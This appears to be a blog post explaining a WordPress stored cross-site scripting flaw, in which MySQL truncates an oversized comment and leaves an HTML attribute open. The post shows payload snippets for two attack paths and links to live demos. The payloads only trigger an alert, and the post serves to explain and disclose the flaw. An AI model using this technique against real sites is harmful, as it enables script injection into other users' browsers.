More details on the WordPress XSS vulnerability found by Klikki. Both real exploits include a style
attribute to widen the mouseover area to the whole viewport; I've left it out here to keep it simple.
The exploit comment is valid HTML and won't be altered by an HTML santizer:
<a title='x onmouseover=alert(unescape(/hello%20world/.source)) AAAAAAAAAAAA...[64 kb]..AAA'></a>
But once truncated by MySQL, the comment will become malformed HTML (note the attribute is left open):
<a title='x onmouseover=alert(unescape(/hello%20world/.source)) AAAAAAAAAAA
This actually creates 2 attacks:
The first one is caused by wptexturize() not having a way to deal with invalid HTML:
wptexturize
expects that all tags start with <
and end with >
. Since our broken snippet does not, it processes it as text, converting '
to an escaped curly quote:
<a title=“x onmouseover=alert(unescape(/hello%20world/.source)) AAAAAAAAAAA
Now the browser sees 2 unquoted attributes instead of a single title
, and mouseover
contains the exploit (the real exploit includes style
to make the element cover the whole viewport). You can see this in action at http://codepen.io/mrclay/pen/QbwzMq.
The second attack (similar to this old attack) can work even if wptexturize
isn't used, as long as the attacker can submit two comments and the WordPress theme doesn't include a '
between them:
Consider a simple theme that outputs comments like this:
<li class="comment">
Comment 1
</li>
<li class="comment">
Comment 2
</li>
Now we place the truncated comments in. Note the first comment doesn't need the exploit code, all it does is leave the browser's HTML parser in the context of an attribute:
<li class="comment">
<a title='AAAAAAAAAAAAAAAAAAA...
<!-- this should be HTML context but is treated as attribute content -->
</li>
<li class="comment">
<a title='x onmouseover=alert(unescape(/hello%20world/.source)) AAAAAAAAAAA
</li>
When this is parsed, a big block of HTML is now turned into a single title
attribute, followed by an empty x
attribute, and an unquoted onmouseover
attribute! You can see this in action at http://codepen.io/mrclay/pen/EjaGvG.
Please let me know if I've missing something here. My reading is this is hardly a "WordPress" problem; any app that allows users to submit HTML that gets truncated is in danger, especially if the attacker can get 2 content fields displayed closely in the markup.